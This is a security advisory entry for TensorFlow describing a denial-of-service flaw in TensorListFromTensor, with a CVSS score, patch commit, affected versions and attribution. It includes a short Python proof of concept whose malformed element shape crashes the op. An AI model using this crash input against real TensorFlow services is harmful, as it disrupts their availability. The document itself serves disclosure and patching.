PT-2026-59772 · Pypi · Tensorflow
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.9
Medium
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
When
TensorListFromTensor receives an element shape of a rank greater than one, it gives a CHECK fail that can trigger a denial of service attack.python
import tensorflow as tf
arg 0=tf.random.uniform(shape=(6, 6, 2), dtype=tf.bfloat16, maxval=None)
arg 1=tf.random.uniform(shape=(6, 9, 1, 3), dtype=tf.int64, maxval=65536)
arg 2=''
tf.raw ops.TensorListFromTensor(tensor=arg 0, element shape=arg 1, name=arg 2)Patches
We have patched the issue in GitHub commit 3db59a042a38f4338aa207922fa2f476e000a6ee.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
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Attribution
This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.
Fix
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Related Identifiers
Affected Products
Tensorflow